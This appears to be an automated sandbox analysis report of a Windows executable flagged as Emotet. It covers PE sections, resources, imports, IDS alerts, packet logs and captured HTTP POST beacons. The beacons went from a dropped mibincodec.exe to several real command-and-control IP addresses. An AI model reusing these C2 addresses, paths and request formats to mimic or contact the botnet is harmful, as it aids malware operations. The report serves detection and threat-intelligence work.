IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2c806	0x2d000	a1f46075ae8d1c2a59b224793a39fa17	False	0.5946017795138889	data	6.574938035016087	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2e000	0xc8e6	0xd000	209b1f7310f5f0a23d5f79cfff96500b	False	0.33680138221153844	data	4.9172308771954265	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3b000	0x5f74	0x3000	8b09d8979c02b69cae22ad732358f6fa	False	0.2674153645833333	data	3.850805729333682	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x41000	0x340b0	0x35000	4472d4467d39a717951d9704e350b809	False	0.9107136276533019	data	7.709158800124314	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x721c8	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4805194805194805
RT_CURSOR	0x72300	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	English	United States	0.7
RT_CURSOR	0x723e0	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.36363636363636365
RT_CURSOR	0x72530	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.35714285714285715
RT_CURSOR	0x72680	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0x727d0	0x134	data	English	United States	0.37662337662337664
RT_CURSOR	0x72920	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x72a70	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.37662337662337664
RT_CURSOR	0x72bc0	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x72d10	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x72e60	0x134	data	English	United States	0.44155844155844154
RT_CURSOR	0x72fb0	0x134	data	English	United States	0.4155844155844156
RT_CURSOR	0x73100	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.5422077922077922
RT_CURSOR	0x73250	0x134	data	English	United States	0.2662337662337662
RT_CURSOR	0x733a0	0x134	data	English	United States	0.2824675324675325
RT_CURSOR	0x734f0	0x134	data	English	United States	0.3246753246753247
RT_BITMAP	0x73728	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	English	United States	0.44565217391304346
RT_BITMAP	0x737e0	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	English	United States	0.37962962962962965
RT_ICON	0x41b40	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.33064516129032256
RT_ICON	0x41e28	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.4391891891891892
RT_DIALOG	0x71ab0	0x102	data	English	United States	0.6550387596899225
RT_DIALOG	0x71bb8	0x328	data	English	United States	0.4504950495049505
RT_DIALOG	0x73640	0xe8	data	English	United States	0.6336206896551724
RT_STRING	0x73928	0x88	data	English	United States	0.6691176470588235
RT_STRING	0x739b0	0x82	StarOffice Gallery theme p, 536899072 objects, 1st n	English	United States	0.7153846153846154
RT_STRING	0x73a38	0x2a	data	English	United States	0.5476190476190477
RT_STRING	0x73a68	0x192	data	English	United States	0.48009950248756217
RT_STRING	0x73c00	0x4e2	data	English	United States	0.376
RT_STRING	0x74478	0x31a	data	English	United States	0.2682619647355164
RT_STRING	0x74198	0x2dc	data	English	United States	0.36885245901639346
RT_STRING	0x74fd8	0x8a	data	English	United States	0.6594202898550725
RT_STRING	0x740e8	0xac	data	English	United States	0.45348837209302323
RT_STRING	0x74ec8	0xde	data	English	United States	0.536036036036036
RT_STRING	0x74798	0x4c4	data	English	United States	0.3221311475409836
RT_STRING	0x74c60	0x264	data	English	United States	0.3741830065359477
RT_STRING	0x74fa8	0x2c	data	English	United States	0.5227272727272727
RT_STRING	0x75068	0x42	data	English	United States	0.6060606060606061
RT_RCDATA	0x41f78	0x2fb33	data	English	United States	0.9851979997850332
RT_GROUP_CURSOR	0x723b8	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0x72ba8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x72518	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x72a58	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x72908	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x73238	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x727b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x72e48	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x72668	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x72cf8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x72f98	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x730e8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x73388	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x734d8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x73628	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x41f50	0x22	data	English	United States	1.0
RT_VERSION	0x71ee0	0x2e4	data	English	United States	0.46216216216216216

Imports

DLL	Import
KERNEL32.dll	VirtualQuery, GetStartupInfoA, GetCommandLineA, ExitProcess, TerminateProcess, HeapReAlloc, HeapSize, HeapDestroy, HeapCreate, VirtualFree, IsBadWritePtr, SetUnhandledExceptionFilter, GetStdHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetSystemInfo, GetFileType, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetTimeZoneInformation, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, IsBadReadPtr, IsBadCodePtr, GetUserDefaultLCID, EnumSystemLocalesA, IsValidLocale, IsValidCodePage, SetStdHandle, SetEnvironmentVariableA, GetLocaleInfoW, VirtualProtect, HeapFree, RtlUnwind, HeapAlloc, GetTickCount, SetErrorMode, GetOEMCP, GetCPInfo, GlobalFlags, InterlockedIncrement, WritePrivateProfileStringA, TlsFree, LocalReAlloc, TlsSetValue, TlsAlloc, TlsGetValue, EnterCriticalSection, GlobalHandle, GlobalReAlloc, LeaveCriticalSection, LocalAlloc, GetFileTime, GetFileAttributesA, FileTimeToLocalFileTime, FileTimeToSystemTime, DeleteCriticalSection, InitializeCriticalSection, RaiseException, CreateFileA, GetFullPathNameA, GetVolumeInformationA, FindFirstFileA, FindClose, GetCurrentProcess, DuplicateHandle, GetFileSize, SetEndOfFile, UnlockFile, LockFile, FlushFileBuffers, SetFilePointer, WriteFile, ReadFile, InterlockedDecrement, MulDiv, FormatMessageA, LocalFree, GlobalGetAtomNameA, GlobalFindAtomA, lstrcatA, lstrcmpW, lstrcpynA, GlobalUnlock, GlobalFree, FreeResource, CloseHandle, GlobalAddAtomA, GetCurrentThread, GetCurrentThreadId, GlobalLock, GlobalAlloc, GlobalDeleteAtom, lstrcmpA, GetModuleFileNameA, GetModuleHandleA, ConvertDefaultLocale, EnumResourceLanguagesA, lstrcpyA, FreeLibrary, SetLastError, CompareStringW, CompareStringA, lstrlenA, lstrcmpiA, GetVersion, GetLastError, MultiByteToWideChar, WideCharToMultiByte, FindResourceA, LoadResource, LockResource, SizeofResource, GetVersionExA, GetThreadLocale, GetLocaleInfoA, GetACP, InterlockedExchange, LoadLibraryA, GetProcAddress, SetHandleCount, VirtualAlloc
USER32.dll	PostThreadMessageA, RegisterWindowMessageA, WinHelpA, GetCapture, CreateWindowExA, GetClassLongA, GetClassInfoExA, GetClassNameA, SetPropA, GetPropA, RemovePropA, SendDlgItemMessageA, SetFocus, IsChild, GetWindowTextLengthA, GetWindowTextA, GetForegroundWindow, GetTopWindow, UnhookWindowsHookEx, GetMessageTime, GetMessagePos, MapWindowPoints, SetForegroundWindow, UpdateWindow, GetMenu, GetSubMenu, GetMenuItemID, GetMenuItemCount, GetSysColor, AdjustWindowRectEx, EqualRect, GetClassInfoA, RegisterClassA, UnregisterClassA, GetDlgCtrlID, DefWindowProcA, CallWindowProcA, GetNextDlgGroupItem, OffsetRect, IntersectRect, SystemParametersInfoA, GetWindowPlacement, GetWindowRect, RegisterClipboardFormatA, PtInRect, GetWindow, SetWindowContextHelpId, MapDialogRect, SetWindowPos, GetDesktopWindow, SetActiveWindow, CreateDialogIndirectParamA, DestroyWindow, IsWindow, GetDlgItem, GetNextDlgTabItem, EndDialog, SetMenuItemBitmaps, GetFocus, ModifyMenuA, GetMenuState, EnableMenuItem, CheckMenuItem, GetMenuCheckMarkDimensions, LoadBitmapA, SetWindowsHookExA, CallNextHookEx, GetMessageA, TranslateMessage, GetActiveWindow, IsWindowVisible, GetKeyState, GetCursorPos, ValidateRect, MessageBoxA, DestroyMenu, InvalidateRgn, InvalidateRect, CopyAcceleratorTableA, SetRect, IsRectEmpty, CharNextA, GetSysColorBrush, ReleaseCapture, LoadCursorA, GetParent, GetWindowLongA, GetLastActivePopup, IsWindowEnabled, SetCursor, PostQuitMessage, PostMessageA, PeekMessageA, DispatchMessageA, CharUpperA, MessageBeep, GetSystemMetrics, LoadIconA, EnableWindow, KillTimer, SetTimer, GetClientRect, IsIconic, GetSystemMenu, SendMessageA, AppendMenuA, DrawIcon, CopyRect, SetCapture, EndPaint, BeginPaint, GetWindowDC, ReleaseDC, GetDC, ClientToScreen, GrayStringA, DrawTextExA, DrawTextA, TabbedTextOutA, wsprintfA, ShowWindow, MoveWindow, SetWindowTextA, IsDialogMessageA, SetWindowLongA
GDI32.dll	DeleteObject, GetViewportExtEx, GetWindowExtEx, PtVisible, RectVisible, TextOutA, Escape, SelectObject, SetViewportOrgEx, OffsetViewportOrgEx, SetViewportExtEx, ScaleViewportExtEx, SetWindowExtEx, ScaleWindowExtEx, ExtSelectClipRgn, GetStockObject, GetBkColor, GetTextColor, CreateRectRgnIndirect, GetRgnBox, GetMapMode, SetMapMode, RestoreDC, SaveDC, ExtTextOutA, GetDeviceCaps, GetObjectA, SetBkColor, SetTextColor, GetClipBox, DeleteDC, CreateBitmap
comdlg32.dll	GetFileTitleA
WINSPOOL.DRV	DocumentPropertiesA, ClosePrinter, OpenPrinterA
ADVAPI32.dll	RegQueryValueExA, RegOpenKeyExA, RegDeleteKeyA, RegEnumKeyA, RegOpenKeyA, RegQueryValueA, RegCreateKeyExA, RegSetValueExA, RegCloseKey
COMCTL32.dll
SHLWAPI.dll	PathFindFileNameA, PathStripToRootA, PathFindExtensionA, PathIsUNCA
oledlg.dll
ole32.dll	StgOpenStorageOnILockBytes, CoRevokeClassObject, CLSIDFromProgID, CLSIDFromString, CoTaskMemFree, CoTaskMemAlloc, CoGetClassObject, StgCreateDocfileOnILockBytes, CreateILockBytesOnHGlobal, OleUninitialize, CoFreeUnusedLibraries, OleInitialize, CoRegisterMessageFilter, OleFlushClipboard, OleIsCurrentClipboard
OLEAUT32.dll	SysFreeString, VariantClear, VariantChangeType, VariantInit, SysStringLen, SysAllocStringByteLen, OleCreateFontIndirect, SystemTimeToVariantTime, SafeArrayDestroy, SysAllocString, VariantCopy, SysAllocStringLen
WS2_32.dll	WSACleanup, closesocket, accept, socket, select, gethostbyname, htonl, htons, inet_addr, bind, WSAGetLastError, WSASetLastError, WSAStartup, sendto, recvfrom, WSAAsyncSelect, send, recv, listen, connect

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-20T19:11:56.438207+0200	TCP	2035077	ET MALWARE Win32/Emotet CnC Activity (POST) M11	1	49747	80	192.168.2.6	74.214.230.200
2024-08-20T19:09:53.067014+0200	TCP	2035077	ET MALWARE Win32/Emotet CnC Activity (POST) M11	1	49749	443	192.168.2.6	194.187.133.160
2024-08-20T19:11:31.533291+0200	TCP	2035077	ET MALWARE Win32/Emotet CnC Activity (POST) M11	1	49745	8080	192.168.2.6	103.86.49.11
2024-08-20T19:10:28.346788+0200	TCP	2035077	ET MALWARE Win32/Emotet CnC Activity (POST) M11	1	49730	80	192.168.2.6	88.153.35.32
2024-08-20T19:10:55.327152+0200	TCP	2035077	ET MALWARE Win32/Emotet CnC Activity (POST) M11	1	49739	7080	192.168.2.6	173.212.214.235
2024-08-20T19:11:07.013000+0200	TCP	2035077	ET MALWARE Win32/Emotet CnC Activity (POST) M11	1	49742	7080	192.168.2.6	121.124.124.40
2024-08-20T19:10:52.310016+0200	TCP	2035077	ET MALWARE Win32/Emotet CnC Activity (POST) M11	1	49735	8080	192.168.2.6	107.170.146.252
2024-08-20T19:11:00.118321+0200	TCP	2035077	ET MALWARE Win32/Emotet CnC Activity (POST) M11	1	49740	8080	192.168.2.6	167.114.153.111

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 20, 2024 19:10:06.949390888 CEST	49730	80	192.168.2.6	88.153.35.32
Aug 20, 2024 19:10:06.954781055 CEST	80	49730	88.153.35.32	192.168.2.6
Aug 20, 2024 19:10:06.954853058 CEST	49730	80	192.168.2.6	88.153.35.32
Aug 20, 2024 19:10:06.954998016 CEST	49730	80	192.168.2.6	88.153.35.32
Aug 20, 2024 19:10:06.955037117 CEST	49730	80	192.168.2.6	88.153.35.32
Aug 20, 2024 19:10:06.959852934 CEST	80	49730	88.153.35.32	192.168.2.6
Aug 20, 2024 19:10:06.959886074 CEST	80	49730	88.153.35.32	192.168.2.6
Aug 20, 2024 19:10:06.959923983 CEST	80	49730	88.153.35.32	192.168.2.6
Aug 20, 2024 19:10:06.959934950 CEST	80	49730	88.153.35.32	192.168.2.6
Aug 20, 2024 19:10:06.959944963 CEST	80	49730	88.153.35.32	192.168.2.6
Aug 20, 2024 19:10:28.346565008 CEST	80	49730	88.153.35.32	192.168.2.6
Aug 20, 2024 19:10:28.346787930 CEST	49730	80	192.168.2.6	88.153.35.32
Aug 20, 2024 19:10:28.350147009 CEST	49730	80	192.168.2.6	88.153.35.32
Aug 20, 2024 19:10:28.355870962 CEST	80	49730	88.153.35.32	192.168.2.6
Aug 20, 2024 19:10:30.925040007 CEST	49735	8080	192.168.2.6	107.170.146.252
Aug 20, 2024 19:10:30.931057930 CEST	8080	49735	107.170.146.252	192.168.2.6
Aug 20, 2024 19:10:30.931142092 CEST	49735	8080	192.168.2.6	107.170.146.252
Aug 20, 2024 19:10:30.931354046 CEST	49735	8080	192.168.2.6	107.170.146.252
Aug 20, 2024 19:10:30.931421041 CEST	49735	8080	192.168.2.6	107.170.146.252
Aug 20, 2024 19:10:30.939270020 CEST	8080	49735	107.170.146.252	192.168.2.6
Aug 20, 2024 19:10:30.939280987 CEST	8080	49735	107.170.146.252	192.168.2.6
Aug 20, 2024 19:10:30.939287901 CEST	8080	49735	107.170.146.252	192.168.2.6
Aug 20, 2024 19:10:30.941484928 CEST	8080	49735	107.170.146.252	192.168.2.6
Aug 20, 2024 19:10:30.941495895 CEST	8080	49735	107.170.146.252	192.168.2.6
Aug 20, 2024 19:10:52.309874058 CEST	8080	49735	107.170.146.252	192.168.2.6
Aug 20, 2024 19:10:52.310015917 CEST	49735	8080	192.168.2.6	107.170.146.252
Aug 20, 2024 19:10:52.310096025 CEST	49735	8080	192.168.2.6	107.170.146.252
Aug 20, 2024 19:10:52.314894915 CEST	8080	49735	107.170.146.252	192.168.2.6
Aug 20, 2024 19:10:54.673186064 CEST	49739	7080	192.168.2.6	173.212.214.235
Aug 20, 2024 19:10:54.678270102 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:10:54.678338051 CEST	49739	7080	192.168.2.6	173.212.214.235
Aug 20, 2024 19:10:54.678457975 CEST	49739	7080	192.168.2.6	173.212.214.235
Aug 20, 2024 19:10:54.678488016 CEST	49739	7080	192.168.2.6	173.212.214.235
Aug 20, 2024 19:10:54.684120893 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:10:54.684130907 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:10:54.684139013 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:10:54.685502052 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:10:54.685511112 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:10:55.327039003 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:10:55.327152014 CEST	49739	7080	192.168.2.6	173.212.214.235
Aug 20, 2024 19:10:58.703808069 CEST	49740	8080	192.168.2.6	167.114.153.111
Aug 20, 2024 19:10:58.708853006 CEST	8080	49740	167.114.153.111	192.168.2.6
Aug 20, 2024 19:10:58.708939075 CEST	49740	8080	192.168.2.6	167.114.153.111
Aug 20, 2024 19:10:58.709069014 CEST	49740	8080	192.168.2.6	167.114.153.111
Aug 20, 2024 19:10:58.709096909 CEST	49740	8080	192.168.2.6	167.114.153.111
Aug 20, 2024 19:10:58.713998079 CEST	8080	49740	167.114.153.111	192.168.2.6
Aug 20, 2024 19:10:58.714062929 CEST	8080	49740	167.114.153.111	192.168.2.6
Aug 20, 2024 19:10:58.714071989 CEST	8080	49740	167.114.153.111	192.168.2.6
Aug 20, 2024 19:10:58.714080095 CEST	8080	49740	167.114.153.111	192.168.2.6
Aug 20, 2024 19:10:58.715401888 CEST	8080	49740	167.114.153.111	192.168.2.6
Aug 20, 2024 19:11:00.118257046 CEST	8080	49740	167.114.153.111	192.168.2.6
Aug 20, 2024 19:11:00.118320942 CEST	49740	8080	192.168.2.6	167.114.153.111
Aug 20, 2024 19:11:00.118386030 CEST	49740	8080	192.168.2.6	167.114.153.111
Aug 20, 2024 19:11:00.123850107 CEST	8080	49740	167.114.153.111	192.168.2.6
Aug 20, 2024 19:11:00.321774960 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:11:00.321861029 CEST	49739	7080	192.168.2.6	173.212.214.235
Aug 20, 2024 19:11:02.433124065 CEST	49741	443	192.168.2.6	67.170.250.203
Aug 20, 2024 19:11:02.433195114 CEST	443	49741	67.170.250.203	192.168.2.6
Aug 20, 2024 19:11:02.433273077 CEST	49741	443	192.168.2.6	67.170.250.203
Aug 20, 2024 19:11:02.433474064 CEST	49741	443	192.168.2.6	67.170.250.203
Aug 20, 2024 19:11:02.433490992 CEST	443	49741	67.170.250.203	192.168.2.6
Aug 20, 2024 19:11:02.433516979 CEST	49741	443	192.168.2.6	67.170.250.203
Aug 20, 2024 19:11:02.433523893 CEST	443	49741	67.170.250.203	192.168.2.6
Aug 20, 2024 19:11:02.433558941 CEST	443	49741	67.170.250.203	192.168.2.6
Aug 20, 2024 19:11:05.068944931 CEST	49742	7080	192.168.2.6	121.124.124.40
Aug 20, 2024 19:11:05.078578949 CEST	7080	49742	121.124.124.40	192.168.2.6
Aug 20, 2024 19:11:05.078685045 CEST	49742	7080	192.168.2.6	121.124.124.40
Aug 20, 2024 19:11:05.081152916 CEST	49742	7080	192.168.2.6	121.124.124.40
Aug 20, 2024 19:11:05.081254005 CEST	49742	7080	192.168.2.6	121.124.124.40
Aug 20, 2024 19:11:05.086302996 CEST	7080	49742	121.124.124.40	192.168.2.6
Aug 20, 2024 19:11:05.086337090 CEST	7080	49742	121.124.124.40	192.168.2.6
Aug 20, 2024 19:11:05.086349010 CEST	7080	49742	121.124.124.40	192.168.2.6
Aug 20, 2024 19:11:05.086380005 CEST	7080	49742	121.124.124.40	192.168.2.6
Aug 20, 2024 19:11:05.087517977 CEST	7080	49742	121.124.124.40	192.168.2.6
Aug 20, 2024 19:11:07.012852907 CEST	7080	49742	121.124.124.40	192.168.2.6
Aug 20, 2024 19:11:07.013000011 CEST	49742	7080	192.168.2.6	121.124.124.40
Aug 20, 2024 19:11:07.013031960 CEST	49742	7080	192.168.2.6	121.124.124.40
Aug 20, 2024 19:11:07.021037102 CEST	7080	49742	121.124.124.40	192.168.2.6
Aug 20, 2024 19:11:10.162195921 CEST	49745	8080	192.168.2.6	103.86.49.11
Aug 20, 2024 19:11:10.167212963 CEST	8080	49745	103.86.49.11	192.168.2.6
Aug 20, 2024 19:11:10.167280912 CEST	49745	8080	192.168.2.6	103.86.49.11
Aug 20, 2024 19:11:10.167423010 CEST	49745	8080	192.168.2.6	103.86.49.11
Aug 20, 2024 19:11:10.167495012 CEST	49745	8080	192.168.2.6	103.86.49.11
Aug 20, 2024 19:11:10.172965050 CEST	8080	49745	103.86.49.11	192.168.2.6
Aug 20, 2024 19:11:10.172991991 CEST	8080	49745	103.86.49.11	192.168.2.6
Aug 20, 2024 19:11:10.173003912 CEST	8080	49745	103.86.49.11	192.168.2.6
Aug 20, 2024 19:11:10.173016071 CEST	8080	49745	103.86.49.11	192.168.2.6
Aug 20, 2024 19:11:10.173372030 CEST	8080	49745	103.86.49.11	192.168.2.6
Aug 20, 2024 19:11:31.533180952 CEST	8080	49745	103.86.49.11	192.168.2.6
Aug 20, 2024 19:11:31.533291101 CEST	49745	8080	192.168.2.6	103.86.49.11
Aug 20, 2024 19:11:31.533406973 CEST	49745	8080	192.168.2.6	103.86.49.11
Aug 20, 2024 19:11:31.538299084 CEST	8080	49745	103.86.49.11	192.168.2.6
Aug 20, 2024 19:11:35.079536915 CEST	49747	80	192.168.2.6	74.214.230.200
Aug 20, 2024 19:11:35.084547997 CEST	80	49747	74.214.230.200	192.168.2.6
Aug 20, 2024 19:11:35.084620953 CEST	49747	80	192.168.2.6	74.214.230.200
Aug 20, 2024 19:11:35.085169077 CEST	49747	80	192.168.2.6	74.214.230.200
Aug 20, 2024 19:11:35.085203886 CEST	49747	80	192.168.2.6	74.214.230.200
Aug 20, 2024 19:11:35.090039015 CEST	80	49747	74.214.230.200	192.168.2.6
Aug 20, 2024 19:11:35.090065956 CEST	80	49747	74.214.230.200	192.168.2.6
Aug 20, 2024 19:11:35.090143919 CEST	80	49747	74.214.230.200	192.168.2.6
Aug 20, 2024 19:11:35.090153933 CEST	80	49747	74.214.230.200	192.168.2.6
Aug 20, 2024 19:11:35.090162992 CEST	80	49747	74.214.230.200	192.168.2.6
Aug 20, 2024 19:11:56.438079119 CEST	80	49747	74.214.230.200	192.168.2.6
Aug 20, 2024 19:11:56.438206911 CEST	49747	80	192.168.2.6	74.214.230.200
Aug 20, 2024 19:11:56.438340902 CEST	49747	80	192.168.2.6	74.214.230.200
Aug 20, 2024 19:11:56.443981886 CEST	80	49747	74.214.230.200	192.168.2.6
Aug 20, 2024 19:11:56.911058903 CEST	49739	7080	192.168.2.6	173.212.214.235
Aug 20, 2024 19:11:56.916163921 CEST	7080	49739	173.212.214.235	192.168.2.6
Aug 20, 2024 19:11:59.081245899 CEST	49749	443	192.168.2.6	194.187.133.160
Aug 20, 2024 19:11:59.081304073 CEST	443	49749	194.187.133.160	192.168.2.6
Aug 20, 2024 19:11:59.081392050 CEST	49749	443	192.168.2.6	194.187.133.160
Aug 20, 2024 19:11:59.081681013 CEST	49749	443	192.168.2.6	194.187.133.160
Aug 20, 2024 19:11:59.081702948 CEST	443	49749	194.187.133.160	192.168.2.6
Aug 20, 2024 19:11:59.081722975 CEST	49749	443	192.168.2.6	194.187.133.160
Aug 20, 2024 19:11:59.081732035 CEST	443	49749	194.187.133.160	192.168.2.6
Aug 20, 2024 19:11:59.081748009 CEST	443	49749	194.187.133.160	192.168.2.6

HTTP Request Dependency Graph

88.153.35.32

107.170.146.252

107.170.146.252:8080

173.212.214.235

173.212.214.235:7080

167.114.153.111

167.114.153.111:8080

67.170.250.203

67.170.250.203:443

121.124.124.40

121.124.124.40:7080

103.86.49.11

103.86.49.11:8080

74.214.230.200

194.187.133.160

194.187.133.160:443

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49730	88.153.35.32	80	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:10:06.954998016 CEST	560	OUT	POST /LqhsCyik6x/yDMw9sEc7al9N/WQVwtBBo/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 88.153.35.32/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------------oxhn8YFF02lqHF User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 88.153.35.32 Content-Length: 4628 Cache-Control: no-cache
Aug 20, 2024 19:10:06.955037117 CEST	4628	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6f 78 68 6e 38 59 46 46 30 32 6c 71 48 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6a 61 75 63 75 69 78 76 73 22 Data Ascii: ----------------oxhn8YFF02lqHFContent-Disposition: form-data; name="jaucuixvs"; filename="gkslbfaphs"Content-Type: application/octet-streamirENcJxh;GeBaP$uLB>&N~2*)^U_ItKO6(0/7]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49735	107.170.146.252	8080	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:10:30.931354046 CEST	572	OUT	POST /59QulnlrGjN3xHL/Y0uv73jS/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 107.170.146.252/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=-------------------GLzKnj3AY6lNu0XkAPz User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 107.170.146.252:8080 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49739	173.212.214.235	7080	424	C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 19:10:54.678457975 CEST	559	OUT	POST /R30ZS/Ks4Vh/d73Tc74w4GJR/CzehVO/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 173.212.214.235/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------8eRw1EpsQ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 173.212.214.235:7080 Content-Length: 4628 Cache-Control: no-cache
